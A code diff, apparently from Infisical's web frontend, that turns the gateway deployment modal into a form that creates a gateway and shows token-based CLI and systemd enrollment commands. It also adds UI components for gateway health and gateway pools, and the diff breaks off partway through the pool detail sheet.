+  const { protocol, hostname, port } = window.location;
+  const portSuffix = port && port !== "80" ? `:${port}` : "";
+  const siteURL = `${protocol}//${hostname}${portSuffix}`;
 
-export type GatewayDeploymentMethod = keyof typeof GatewayDeploymentInfoMap;
+  const navigate = useNavigate({ from: ROUTE_PATHS.Organization.NetworkingPage.path });
 
-const Content = () => {
-  const [selectedMethod, setSelectedMethod] = useState<null | GatewayDeploymentMethod>(null);
+  const [step, setStep] = useState<"form" | "command">("form");
+  const [name, setName] = useState("");
+  const [relay, setRelay] = useState<null | { id: string; name: string }>({
+    id: "_auto",
+    name: "Auto Select Relay"
+  });
+  const [enrollmentToken, setEnrollmentToken] = useState("");
+  const [resolvedRelayName, setResolvedRelayName] = useState("");
+  const [formErrors, setFormErrors] = useState<z.ZodIssue[]>([]);
+
+  const errors = useMemo(() => {
+    const errorMap: Record<string, string | undefined> = {};
+    formErrors.forEach((issue) => {
+      if (issue.path.length > 0) errorMap[String(issue.path[0])] = issue.message;
+    });
+    return errorMap;
+  }, [formErrors]);
+
+  const { data: gateways } = useQuery(gatewaysQueryKeys.listWithTokens());
+  const { data: relays, isPending: isRelaysLoading } = useGetRelays();
+  const { mutateAsync: createGateway, isPending: isCreatingGateway } = useCreateGateway();
+  const { mutateAsync: configureTokenAuth, isPending: isConfiguringToken } =
+    useConfigureGatewayTokenAuth();
+
+  const handleContinue = async () => {
+    setFormErrors([]);
+    const validation = formSchema.safeParse({ name, relay });
+    if (!validation.success) {
+      setFormErrors(validation.error.issues);
+      return;
+    }
+
+    const existingNames = gateways?.map((g) => g.name) || [];
+    if (existingNames.includes(name.trim())) {
+      createNotification({
+        type: "error",
+        text: "A gateway with this name already exists."
+      });
+      return;
+    }
+
+    try {
+      const gateway = await createGateway({ name });
+      const tokenResult = await configureTokenAuth({ gatewayId: gateway.id });
+      setEnrollmentToken(tokenResult.token);
 
-  if (selectedMethod) {
-    const ComponentToRender = GatewayDeploymentInfoMap[selectedMethod]?.component;
-    if (ComponentToRender) {
-      return <ComponentToRender />;
+      const relayName = relay?.id === "_auto" ? "" : (relay?.name ?? "");
+      setResolvedRelayName(relayName);
+      setStep("command");
+    } catch {
+      createNotification({ type: "error", text: "Failed to create gateway" });
     }
+  };
+
+  const cliCommand = useMemo(() => {
+    const relayPart = resolvedRelayName ? ` --target-relay-name=${resolvedRelayName}` : "";
+    return `infisical gateway start ${name} --enroll-method=token --token=${enrollmentToken}${relayPart} --domain=${siteURL}`;
+  }, [name, enrollmentToken, resolvedRelayName, siteURL]);
+
+  const systemdInstallCommand = useMemo(() => {
+    const relayPart = resolvedRelayName ? ` --target-relay-name=${resolvedRelayName}` : "";
+    return `sudo infisical gateway systemd install ${name} --enroll-method=token --token=${enrollmentToken}${relayPart} --domain=${siteURL}`;
+  }, [name, enrollmentToken, resolvedRelayName, siteURL]);
+
+  const startServiceCommand = "sudo systemctl start infisical-gateway";
+
+  const copyToClipboard = (text: string, label: string) => {
+    navigator.clipboard.writeText(text);
+    createNotification({ text: `${label} copied to clipboard`, type: "info" });
+  };
+
+  if (step === "command") {
+    return (
+      <>
+        <p className="mb-3 text-sm text-mineshaft-300">
+          Run the following command on the machine where you want to deploy the gateway. The token
+          expires in 1 hour and can only be used once.
+        </p>
+        <Tabs defaultValue="cli" className="mt-2">
+          <TabList>
+            <Tab value="cli">CLI</Tab>
+            <Tab value="systemd">CLI (systemd)</Tab>
+          </TabList>
+          <TabPanel value="cli">
+            <div className="flex gap-2">
+              <Input value={cliCommand} isDisabled />
+              <IconButton
+                ariaLabel="copy"
+                variant="outline_bg"
+                colorSchema="secondary"
+                onClick={() => copyToClipboard(cliCommand, "Command")}
+                className="w-10"
+              >
+                <FontAwesomeIcon icon={faCopy} />
+              </IconButton>
+            </div>
+          </TabPanel>
+          <TabPanel value="systemd">
+            <FormLabel label="Installation Command" />
+            <div className="flex gap-2">
+              <Input value={systemdInstallCommand} isDisabled />
+              <IconButton
+                ariaLabel="copy install command"
+                variant="outline_bg"
+                colorSchema="secondary"
+                onClick={() => copyToClipboard(systemdInstallCommand, "Installation command")}
+                className="w-10"
+              >
+                <FontAwesomeIcon icon={faCopy} />
+              </IconButton>
+            </div>
+            <FormLabel label="Start the Gateway Service" className="mt-4" />
+            <div className="flex gap-2">
+              <Input value={startServiceCommand} isDisabled />
+              <IconButton
+                ariaLabel="copy start command"
+                variant="outline_bg"
+                colorSchema="secondary"
+                onClick={() => copyToClipboard(startServiceCommand, "Start command")}
+                className="w-10"
+              >
+                <FontAwesomeIcon icon={faCopy} />
+              </IconButton>
+            </div>
+          </TabPanel>
+        </Tabs>
+        <a
+          href="https://infisical.com/docs/cli/overview"
+          target="_blank"
+          className="mt-2 flex h-4 w-fit items-center gap-2 border-b border-mineshaft-400 text-sm text-mineshaft-400 transition-colors duration-100 hover:border-yellow-400 hover:text-yellow-400"
+          rel="noreferrer"
+        >
+          <span>Install the Infisical CLI</span>
+          <FontAwesomeIcon icon={faUpRightFromSquare} className="size-3" />
+        </a>
+        <div className="mt-6 flex items-center">
+          <ModalClose asChild>
+            <Button className="mr-4" size="sm" colorSchema="secondary">
+              Done
+            </Button>
+          </ModalClose>
+        </div>
+      </>
+    );
   }
 
-  return <GatewayDeploymentMethodSelect onSelect={setSelectedMethod} />;
+  return (
+    <>
+      <FormLabel label="Name" tooltipText="The name for your gateway." />
+      <Input
+        value={name}
+        onChange={(e) => setName(e.target.value)}
+        placeholder="Enter gateway name..."
+        isError={Boolean(errors.name)}
+      />
+      {errors.name && <p className="mt-1 text-sm text-red">{errors.name}</p>}
+
+      <FormLabel label="Relay" tooltipText="The relay to use with your gateway." className="mt-4" />
+      <FilterableSelect
+        value={relay}
+        onChange={(newValue) => {
+          if ((newValue as SingleValue<{ id: string }>)?.id === "_create") {
+            navigate({
+              search: (prev) => ({ ...prev, selectedTab: "relays", action: "deploy-relay" })
+            });
+            return;
+          }
+          setRelay(newValue as SingleValue<{ id: string; name: string }>);
+        }}
+        isLoading={isRelaysLoading}
+        options={[
+          { id: "_auto", name: "Auto Select Relay" },
+          { id: "_create", name: "Deploy New Relay" },
+          ...(relays || [])
+        ]}
+        placeholder="Select relay..."
+        getOptionLabel={(option) => option.name}
+        getOptionValue={(option) => option.id}
+        components={{ Option: RelayOption }}
+      />
+      {errors.relay && <p className="mt-1 text-sm text-red">{errors.relay}</p>}
+
+      <div className="mt-6 flex items-center">
+        <Button
+          className="mr-4"
+          size="sm"
+          colorSchema="secondary"
+          onClick={handleContinue}
+          isLoading={isCreatingGateway || isConfiguringToken}
+        >
+          Continue
+        </Button>
+        <ModalClose asChild>
+          <Button colorSchema="secondary" variant="plain">
+            Cancel
+          </Button>
+        </ModalClose>
+      </div>
+    </>
+  );
 };
 
 export const GatewayDeployModal = ({ isOpen, onOpenChange }: Props) => {
   return (
     <Modal isOpen={isOpen} onOpenChange={onOpenChange}>
-      <ModalContent
-        className="max-w-2xl"
-        title="Deploy Gateway"
-        subTitle="Select a deployment method to use for the gateway."
-        bodyClassName="overflow-visible"
-      >
+      <ModalContent className="max-w-2xl" title="Create Gateway" bodyClassName="overflow-visible">
         <Content />
       </ModalContent>
     </Modal>
diff --git a/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/GatewayDeploymentMethodSelect.tsx b/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/GatewayDeploymentMethodSelect.tsx
deleted file mode 100644
index 20a169c24a0..00000000000
--- a/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/GatewayDeploymentMethodSelect.tsx
+++ /dev/null
@@ -1,54 +0,0 @@
-import { useMemo } from "react";
-
-import {
-  GatewayDeploymentInfoMap,
-  GatewayDeploymentMethod
-} from "@app/pages/organization/NetworkingPage/components/GatewayTab/components/GatewayDeployModal";
-
-type Props = {
-  onSelect: (method: GatewayDeploymentMethod) => void;
-};
-
-export const GatewayDeploymentMethodSelect = ({ onSelect }: Props) => {
-  const deploymentOptions = useMemo(
-    () =>
-      (Object.keys(GatewayDeploymentInfoMap) as GatewayDeploymentMethod[]).map((method) => ({
-        method,
-        name: GatewayDeploymentInfoMap[method].name,
-        image: GatewayDeploymentInfoMap[method].image
-      })),
-    []
-  );
-
-  const handleResourceSelect = (method: GatewayDeploymentMethod) => {
-    onSelect(method);
-  };
-
-  return (
-    <div className="grid h-fit grid-cols-4 content-start gap-2">
-      {deploymentOptions.map((option) => {
-        const { image, name, method } = option;
-
-        return (
-          <button
-            key={method}
-            type="button"
-            onClick={() => handleResourceSelect(method)}
-            className="group relative flex h-28 cursor-pointer flex-col items-center justify-center rounded-md border border-mineshaft-600 bg-mineshaft-700 p-4 duration-200 hover:bg-mineshaft-600"
-          >
-            <div className="relative">
-              <img
-                src={`/images/integrations/${image}`}
-                className="mt-auto w-12"
-                alt={`${name} logo`}
-              />
-            </div>
-            <div className="mt-auto max-w-xs text-center text-xs font-medium text-gray-300 duration-200 group-hover:text-gray-200">
-              {name}
-            </div>
-          </button>
-        );
-      })}
-    </div>
-  );
-};
diff --git a/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/GatewayHealthStatus.tsx b/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/GatewayHealthStatus.tsx
new file mode 100644
index 00000000000..a4b74def49b
--- /dev/null
+++ b/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/GatewayHealthStatus.tsx
@@ -0,0 +1,62 @@
+import { faClock } from "@fortawesome/free-solid-svg-icons";
+import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
+
+import { Tooltip } from "@app/components/v2";
+import { GatewayHealthCheckStatus } from "@app/hooks/api/gateways-v2/types";
+
+export const GatewayHealthStatus = ({
+  heartbeat,
+  lastHealthCheckStatus,
+  isPending,
+  isExpired
+}: {
+  heartbeat?: string | null;
+  lastHealthCheckStatus?: GatewayHealthCheckStatus | null;
+  isPending?: boolean;
+  isExpired?: boolean;
+}) => {
+  if (isExpired) {
+    return (
+      <Tooltip content="Enrollment token has expired. Re-enroll to generate a new one.">
+        <span className="inline-flex cursor-default items-center gap-1.5 text-red-400">
+          Expired
+        </span>
+      </Tooltip>
+    );
+  }
+
+  if (isPending) {
+    return (
+      <Tooltip content="Waiting for gateway to enroll using the CLI command">
+        <span className="inline-flex cursor-default items-center gap-1.5 text-yellow-500">
+          <FontAwesomeIcon icon={faClock} className="size-3" />
+          Pending
+        </span>
+      </Tooltip>
+    );
+  }
+
+  if (!heartbeat && !lastHealthCheckStatus) {
+    return (
+      <Tooltip content="Gateway has not connected yet">
+        <span className="cursor-default text-yellow-500">Unregistered</span>
+      </Tooltip>
+    );
+  }
+
+  const heartbeatDate = heartbeat ? new Date(heartbeat) : null;
+
+  const isHealthy = lastHealthCheckStatus === GatewayHealthCheckStatus.Healthy;
+
+  const tooltipContent = heartbeatDate
+    ? `Last health check: ${heartbeatDate.toLocaleString()}`
+    : "No health check data available";
+
+  return (
+    <Tooltip content={tooltipContent}>
+      <span className={`cursor-default ${isHealthy ? "text-green-400" : "text-red-400"}`}>
+        {isHealthy ? "Healthy" : "Unreachable"}
+      </span>
+    </Tooltip>
+  );
+};
diff --git a/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/GatewayPoolsContent.tsx b/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/GatewayPoolsContent.tsx
new file mode 100644
index 00000000000..27fc01ca16b
--- /dev/null
+++ b/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/GatewayPoolsContent.tsx
@@ -0,0 +1,224 @@
+import { useState } from "react";
+import { faEllipsisV, faMagnifyingGlass, faPen, faTrash } from "@fortawesome/free-solid-svg-icons";
+import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
+
+import { UpgradePlanModal } from "@app/components/license/UpgradePlanModal";
+import { createNotification } from "@app/components/notifications";
+import {
+  Button,
+  DeleteActionModal,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  EmptyState,
+  IconButton,
+  Input,
+  Table,
+  TableContainer,
+  TableSkeleton,
+  TBody,
+  Td,
+  Th,
+  THead,
+  Tr
+} from "@app/components/v2";
+import { useSubscription } from "@app/context/SubscriptionContext";
+import { usePopUp } from "@app/hooks";
+import { useDeleteGatewayPool, useListGatewayPools } from "@app/hooks/api/gateway-pools";
+import { TGatewayPool } from "@app/hooks/api/gateway-pools/types";
+
+import { EditGatewayPoolModal } from "./EditGatewayPoolModal";
+import { PoolConnectedResourcesDrawer } from "./PoolConnectedResourcesDrawer";
+import { PoolDetailSheet } from "./PoolDetailSheet";
+import { PoolHealthBadge } from "./PoolHealthBadge";
+
+export const GatewayPoolsContent = () => {
+  const { subscription } = useSubscription();
+  const isEnterprise = subscription?.gatewayPool;
+  const [search, setSearch] = useState("");
+  const [selectedPoolId, setSelectedPoolId] = useState<string | null>(null);
+  const [resourcesPool, setResourcesPool] = useState<{ id: string; name: string } | null>(null);
+  const { data: pools, isPending: isPoolsLoading } = useListGatewayPools({
+    refetchInterval: 15_000
+  });
+  const deletePool = useDeleteGatewayPool();
+
+  const { popUp, handlePopUpOpen, handlePopUpToggle } = usePopUp([
+    "editPool",
+    "deletePool",
+    "upgradePlan"
+  ] as const);
+
+  const filteredPools = pools?.filter((p) => p.name.toLowerCase().includes(search.toLowerCase()));
+  const selectedPool = pools?.find((p) => p.id === selectedPoolId) ?? null;
+
+  const handleDeletePool = async () => {
+    const pool = popUp.deletePool.data as TGatewayPool;
+    if (!pool) return;
+
+    try {
+      await deletePool.mutateAsync(pool.id);
+      createNotification({ type: "success", text: `Pool "${pool.name}" deleted` });
+      handlePopUpToggle("deletePool", false);
+      if (selectedPoolId === pool.id) setSelectedPoolId(null);
+    } catch (err: unknown) {
+      const message = err instanceof Error ? err.message : "Failed to delete pool";
+      createNotification({ type: "error", text: message });
+    }
+  };
+
+  if (!isEnterprise) {
+    return (
+      <div>
+        <p className="mb-4 text-sm text-mineshaft-400">
+          Pool gateways for high availability and automatic failover
+        </p>
+        <div className="rounded-md border border-yellow-500/30 bg-yellow-500/5 p-8 text-center">
+          <div className="mb-3 text-2xl">&#x1f6e1;&#xfe0f;</div>
+          <h4 className="mb-2 text-lg font-medium text-mineshaft-100">Enterprise Feature</h4>
+          <p className="mx-auto mb-4 max-w-md text-sm text-mineshaft-300">
+            Gateway Pools provide high availability and automatic failover. When a gateway goes
+            down, the platform automatically routes through a healthy member of the pool.
+          </p>
+          <Button colorSchema="primary" onClick={() => handlePopUpOpen("upgradePlan")}>
+            Upgrade to Enterprise
+          </Button>
+        </div>
+        <UpgradePlanModal
+          isOpen={popUp.upgradePlan.isOpen}
+          onOpenChange={(isOpen) => handlePopUpToggle("upgradePlan", isOpen)}
+          text="To use gateway pools, upgrade to Infisical's Enterprise plan."
+        />
+      </div>
+    );
+  }
+
+  return (
+    <div>
+      <p className="mb-4 text-sm text-mineshaft-400">
+        Pool gateways for high availability and automatic failover
+      </p>
+      <div className="flex gap-2">
+        <Input
+          value={search}
+          onChange={(e) => setSearch(e.target.value)}
+          leftIcon={<FontAwesomeIcon icon={faMagnifyingGlass} />}
+          placeholder="Search pool..."
+          className="flex-1"
+        />
+      </div>
+      <TableContainer className="mt-4">
+        <Table>
+          <THead>
+            <Tr>
+              <Th className="w-1/3">Name</Th>
+              <Th>Connected</Th>
+              <Th>Health</Th>
+              <Th className="w-5" />
+            </Tr>
+          </THead>
+          <TBody>
+            {isPoolsLoading && <TableSkeleton innerKey="pool-table" columns={4} key="pool-table" />}
+            {filteredPools?.map((pool) => (
+              <Tr
+                key={pool.id}
+                className="cursor-pointer hover:bg-mineshaft-700/50"
+                onClick={() => setSelectedPoolId(pool.id)}
+              >
+                <Td>{pool.name}</Td>
+                <Td>
+                  {pool.connectedResourcesCount > 0 ? (
+                    <button
+                      type="button"
+                      onClick={(e) => {
+                        e.stopPropagation();
+                        setResourcesPool({ id: pool.id, name: pool.name });
+                      }}
+                      className="cursor-pointer text-mineshaft-200 underline decoration-mineshaft-400 underline-offset-2 hover:text-mineshaft-100 hover:decoration-mineshaft-300"
+                    >
+                      {pool.connectedResourcesCount} resource
+                      {pool.connectedResourcesCount !== 1 ? "s" : ""}
+                    </button>
+                  ) : (
+                    <span className="text-mineshaft-400">&mdash;</span>
+                  )}
+                </Td>
+                <Td>
+                  <PoolHealthBadge pool={pool} />
+                </Td>
+                <Td>
+                  <div
+                    onClick={(e) => e.stopPropagation()}
+                    onKeyDown={(e) => e.stopPropagation()}
+                    role="presentation"
+                  >
+                    <DropdownMenu>
+                      <DropdownMenuTrigger asChild>
+                        <IconButton ariaLabel="Options" variant="plain" size="sm" className="p-1.5">
+                          <FontAwesomeIcon icon={faEllipsisV} />
+                        </IconButton>
+                      </DropdownMenuTrigger>
+                      <DropdownMenuContent align="end">
+                        <DropdownMenuItem
+                          icon={<FontAwesomeIcon icon={faPen} />}
+                          onClick={() => handlePopUpOpen("editPool", pool)}
+                        >
+                          Edit
+                        </DropdownMenuItem>
+                        <DropdownMenuItem
+                          icon={<FontAwesomeIcon icon={faTrash} />}
+                          onClick={() => handlePopUpOpen("deletePool", pool)}
+                          className="text-red-500"
+                        >
+                          Delete
+                        </DropdownMenuItem>
+                      </DropdownMenuContent>
+                    </DropdownMenu>
+                  </div>
+                </Td>
+              </Tr>
+            ))}
+            {!isPoolsLoading && filteredPools?.length === 0 && (
+              <Tr>
+                <Td colSpan={4}>
+                  <EmptyState title="No gateway pools found" />
+                </Td>
+              </Tr>
+            )}
+          </TBody>
+        </Table>
+      </TableContainer>
+
+      <PoolDetailSheet
+        isOpen={Boolean(selectedPoolId)}
+        onOpenChange={(open) => {
+          if (!open) setSelectedPoolId(null);
+        }}
+        pool={selectedPool}
+      />
+      {resourcesPool && (
+        <PoolConnectedResourcesDrawer
+          isOpen={Boolean(resourcesPool)}
+          onOpenChange={(open) => {
+            if (!open) setResourcesPool(null);
+          }}
+          poolId={resourcesPool.id}
+          poolName={resourcesPool.name}
+        />
+      )}
+      <EditGatewayPoolModal
+        isOpen={popUp.editPool.isOpen}
+        onToggle={(isOpen) => handlePopUpToggle("editPool", isOpen)}
+        pool={popUp.editPool.data as TGatewayPool}
+      />
+      <DeleteActionModal
+        isOpen={popUp.deletePool.isOpen}
+        title={`Delete pool "${(popUp.deletePool.data as TGatewayPool)?.name ?? ""}"?`}
+        onChange={(isOpen) => handlePopUpToggle("deletePool", isOpen)}
+        deleteKey="confirm"
+        onDeleteApproved={handleDeletePool}
+      />
+    </div>
+  );
+};
diff --git a/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/PoolConnectedResourcesDrawer.tsx b/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/PoolConnectedResourcesDrawer.tsx
new file mode 100644
index 00000000000..8200f37210f
--- /dev/null
+++ b/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/PoolConnectedResourcesDrawer.tsx
@@ -0,0 +1,129 @@
+import { Link } from "@tanstack/react-router";
+import { ExternalLinkIcon } from "lucide-react";
+
+import { Spinner } from "@app/components/v2";
+import {
+  Accordion,
+  AccordionContent,
+  AccordionItem,
+  AccordionTrigger,
+  Badge,
+  Sheet,
+  SheetContent,
+  SheetDescription,
+  SheetHeader,
+  SheetTitle
+} from "@app/components/v3";
+import { useOrganization } from "@app/context";
+import {
+  TGatewayPoolConnectedResources,
+  useGetGatewayPoolConnectedResources
+} from "@app/hooks/api/gateway-pools";
+
+type Props = {
+  isOpen: boolean;
+  onOpenChange: (isOpen: boolean) => void;
+  poolId: string;
+  poolName: string;
+};
+
+const getTotalResourceCount = (resources: TGatewayPoolConnectedResources | undefined): number => {
+  if (!resources) return 0;
+  return resources.kubernetesAuths.length;
+};
+
+type ResourceRowProps = {
+  name: string;
+  subtitle: string;
+  to: string;
+  params: Record<string, string>;
+  isLast?: boolean;
+};
+
+const ResourceRow = ({ name, subtitle, to, params, isLast }: ResourceRowProps) => {
+  return (
+    <Link
+      to={to as "/"}
+      params={params}
+      className={`flex items-center justify-between px-4 py-2.5 transition-colors hover:bg-mineshaft-700/30 ${
+        !isLast ? "border-b border-mineshaft-600" : ""
+      }`}
+    >
+      <div className="flex flex-col gap-0.5">
+        <span className="text-sm text-mineshaft-100">{name}</span>
+        <span className="text-xs text-mineshaft-400">{subtitle}</span>
+      </div>
+      <ExternalLinkIcon className="size-3.5 text-mineshaft-400" />
+    </Link>
+  );
+};
+
+export const PoolConnectedResourcesDrawer = ({ isOpen, onOpenChange, poolId, poolName }: Props) => {
+  const { currentOrg } = useOrganization();
+  const { data: resources, isPending } = useGetGatewayPoolConnectedResources(isOpen ? poolId : "");
+
+  const totalCount = getTotalResourceCount(resources);
+
+  const defaultOpenSections = [resources?.kubernetesAuths.length ? "kubernetes-auth" : null].filter(
+    Boolean
+  ) as string[];
+
+  return (
+    <Sheet open={isOpen} onOpenChange={onOpenChange}>
+      <SheetContent className="overflow-y-auto">
+        <SheetHeader className="border-b border-mineshaft-600">
+          <SheetTitle>Connected Resources</SheetTitle>
+          <SheetDescription>{poolName}</SheetDescription>
+        </SheetHeader>
+
+        <div className="flex-1 px-4">
+          {isPending ? (
+            <div className="flex h-32 items-center justify-center">
+              <Spinner size="lg" />
+            </div>
+          ) : (
+            <div className="flex flex-col gap-4">
+              <p className="text-sm text-mineshaft-300">
+                {totalCount > 0 ? (
+                  <>
+                    {totalCount} resource{totalCount !== 1 ? "s" : ""} connected
+                  </>
+                ) : (
+                  "No resources connected to this pool"
+                )}
+              </p>
+
+              {totalCount > 0 && (
+                <Accordion type="multiple" defaultValue={defaultOpenSections}>
+                  {(resources?.kubernetesAuths.length ?? 0) > 0 && (
+                    <AccordionItem value="kubernetes-auth">
+                      <AccordionTrigger>
+                        <span className="flex-1">Kubernetes Auth</span>
+                        <Badge variant="neutral">{resources?.kubernetesAuths.length}</Badge>
+                      </AccordionTrigger>
+                      <AccordionContent className="p-0">
+                        {resources?.kubernetesAuths.map((auth, idx) => (
+                          <ResourceRow
+                            key={auth.id}
+                            name={auth.identityName ?? auth.identityId}
+                            subtitle="Machine Identity"
+                            to="/organizations/$orgId/identities/$identityId"
+                            params={{
+                              orgId: currentOrg.id,
+                              identityId: auth.identityId
+                            }}
+                            isLast={idx === (resources?.kubernetesAuths.length ?? 0) - 1}
+                          />
+                        ))}
+                      </AccordionContent>
+                    </AccordionItem>
+                  )}
+                </Accordion>
+              )}
+            </div>
+          )}
+        </div>
+      </SheetContent>
+    </Sheet>
+  );
+};
diff --git a/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/PoolDetailSheet.tsx b/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/PoolDetailSheet.tsx
new file mode 100644
index 00000000000..fc5b9edcdb4
--- /dev/null
+++ b/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/PoolDetailSheet.tsx
@@ -0,0 +1,282 @@
+import { useMemo, useState } from "react";
+import { faEllipsisV, faHeartPulse, faPlus, faTrash } from "@fortawesome/free-solid-svg-icons";
+import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
+import { useQuery } from "@tanstack/react-query";
+
+import { createNotification } from "@app/components/notifications";
+import { OrgPermissionCan } from "@app/components/permissions";
+import { Button, DeleteActionModal, IconButton } from "@app/components/v2";
+import {
+  Badge,
+  Command,
+  CommandEmpty,
+  CommandGroup,
+  CommandInput,
+  CommandItem,
+  CommandList,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  Popover,
+  PopoverContent,
+  PopoverTrigger,
+  Sheet,
+  SheetContent,
+  SheetHeader,
+  SheetTitle,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow
+} from "@app/components/v3";
+import {
+  OrgGatewayPoolPermissionActions,
+  OrgPermissionSubjects
+} from "@app/context/OrgPermissionContext/types";
+import { usePopUp } from "@app/hooks";
+import { useAddGatewayToPool, useRemoveGatewayFromPool } from "@app/hooks/api/gateway-pools";
+import { TGatewayPool } from "@app/hooks/api/gateway-pools/types";
+import { gatewaysQueryKeys } from "@app/hooks/api/gateways/queries";
+import { useTriggerGatewayV2Heartbeat } from "@app/hooks/api/gateways-v2";
+import { GatewayHealthCheckStatus } from "@app/hooks/api/gateways-v2/types";
+
+import { PoolHealthBadge } from "./PoolHealthBadge";
+
+type Props = {
+  isOpen: boolean;
+  onOpenChange: (isOpen: boolean) => void;
+  pool: TGatewayPool | null;
+};
+
+export const PoolDetailSheet = ({ isOpen, onOpenChange, pool }: Props) => {
+  const { data: allGateways } = useQuery({
+    ...gatewaysQueryKeys.list(),
+    enabled: isOpen
+  });
+  const addGateway = useAddGatewayToPool();
+  const removeGateway = useRemoveGatewayFromPool();
+  const triggerHealthCheck = useTriggerGatewayV2Heartbeat();
+  const [isAddGatewayOpen, setIsAddGatewayOpen] = useState(false);
+
+  const { popUp, handlePopUpOpen, handlePopUpToggle } = usePopUp(["removeGateway"] as const);
+
+  const memberGateways = useMemo(
+    () => allGateways?.filter((g) => pool?.memberGatewayIds.includes(g.id)) ?? [],
+    [allGateways, pool?.memberGatewayIds]
+  );
+
+  const availableGateways = useMemo(
+    () => allGateways?.filter((g) => !g.isV1 && !pool?.memberGatewayIds.includes(g.id)) ?? [],
+    [allGateways, pool?.memberGatewayIds]
+  );
+
+  const handleAdd = async (gatewayId: string) => {
+    if (!pool) return;
+    try {
+      await addGateway.mutateAsync({ poolId: pool.id, gatewayId });
+      createNotification({ type: "success", text: "Gateway added to pool" });
+    } catch (err: unknown) {
+      const message = err instanceof Error ? err.message : "Failed to add gateway";
+      createNotification({ type: "error", text: message });
+    }
+  };
+
+  const handleRemove = async () => {
+    if (!pool) return;
+    const gwData = popUp.removeGateway.data as { id: string; name: string } | undefined;
+    if (!gwData) return;
+    try {
+      await removeGateway.mutateAsync({ poolId: pool.id, gatewayId: gwData.id });
+      handlePopUpToggle("removeGateway", false);
+      createNotification({ type: "success", text: `Removed "${gwData.name}" from pool` });
+    } catch (err: unknown) {
+      const message = err instanceof Error ? err.message : "Failed to remove gateway";
+      createNotification({ type: "error", text: message });
+    }
+  };
+
+  const handleHealthCheck = async (gatewayId: string) => {
+    try {
+      await triggerHealthCheck.mutateAsync(gatewayId);
+      createNotification({ type: "success", text: "Health check successful" });
+    } catch {
+      createNotification({ type: "error", text: "Health check failed - gateway is unreachable" });
+    }
+  };
+
+  if (!pool) return null;
+
+  const createdDate = new Date(pool.createdAt).toLocaleDateString("en-US", {
+    year: "numeric",
+    month: "numeric",
+    day: "numeric"
+  });
+
+  return (
+    <Sheet open={isOpen} onOpenChange={onOpenChange}>
+      <SheetContent className="overflow-y-auto sm:max-w-lg">
+        <SheetHeader>
+          <SheetTitle>{pool.name}</SheetTitle>
+        </SheetHeader>
+
+        <div className="mx-4 flex items-center gap-7 rounded-md border border-border bg-container px-5 py-3">
+          <div>
+            <div className="text-xs text-accent">Health</div>
+            <div className="mt-0.5 text-sm font-medium">
+              <PoolHealthBadge pool={pool} />
+            </div>
+          </div>
+          <div className="h-8 w-px bg-border" />
+          <div>
+            <div className="text-xs text-accent">Total Gateways</div>
+            <div className="mt-0.5 text-sm font-medium text-foreground">{pool.memberCount}</div>
+          </div>
+          <div className="h-8 w-px bg-border" />
+          <div>
+            <div className="text-xs text-accent">Created</div>
+            <div className="mt-0.5 text-sm font-medium text-foreground">{createdDate}</div>
+          </div>
+        </div>
+
+        <div className="px-4">
+          <div className="mb-3 flex items-center justify-between">
+            <h4 className="text-sm font-medium text-foreground">Member Gateways</h4>
+            <OrgPermissionCan
+              I={OrgGatewayPoolPermissionActions.EditGatewayPools}
+              a={OrgPermissionSubjects.GatewayPool}
+            >
+              {(isAllowed: boolean) => {
+                const isDisabled = !isAllowed || availableGateways.length === 0;
+                return (
+                  <Popover open={isAddGatewayOpen} onOpenChange={setIsAddGatewayOpen} modal>
+                    <PopoverTrigger asChild>
+                      <Button
+                        variant="outline_bg"
+                        size="xs"
+                        leftIcon={<FontAwesomeIcon icon={faPlus} />}
+                        isDisabled={isDisabled}
+                      >
+                        Add Gateway
+                      </Button>
+                    </PopoverTrigger>
+                    <PopoverContent align="end" className="z-[60] w-56 p-0">
+                      <Command>
+                        <CommandInput placeholder="Search gateways..." />
+                        <CommandList>
+                          <CommandEmpty>No gateways available.</CommandEmpty>
+                          <CommandGroup>
+                            {availableGateways.map((gw) => (
+                              <CommandItem
+                                key={gw.id}
+                                value={gw.id}
+                                keywords={[gw.name]}
+                                onSelect={() => {
+                                  setIsAddGatewayOpen(false);
+                                  handleAdd(gw.id);
+                                }}
+                              >
+                                {gw.name}
+                              </CommandItem>
+                            ))}
+                          </CommandGroup>
+                        </CommandList>
+                      </Command>
+                    </PopoverContent>
+                  </Popover>
+                );
+              }}
+            </OrgPermissionCan>
+          </div>
+
+          <Table>
+            <TableHeader>
+              <TableRow>
+                <TableHead>Name</TableHead>
+                <TableHead>Status</TableHead>
+                <TableHead className="w-5" />
+              </TableRow>
+            </TableHeader>
+            <TableBody>
+              {memberGateways.length === 0 && (
+                <TableRow>
+                  <TableCell colSpan={3} className="text-center text-sm text-accent">
+                    No gateways in this pool
+                  </TableCell>
+                </TableRow>
+              )}
+              {memberGateways.map((gw) => {
+                const hasHeartbeat =
+                  "heartbeat" in gw &&
+                  gw.heartbeat &&
+                  new Date(gw.heartbeat).getTime() > Date.now() - 60 * 60 * 1000;
+                const isNotFailed =
+                  !("lastHealthCheckStatus" in gw) ||
+                  gw.lastHealthCheckStatus !== GatewayHealthCheckStatus.Failed;
+                const isOnline = hasHeartbeat && isNotFailed;
+
+                return (
+                  <TableRow key={gw.id}>
+                    <TableCell>
+                      <div className="flex items-center gap-2">
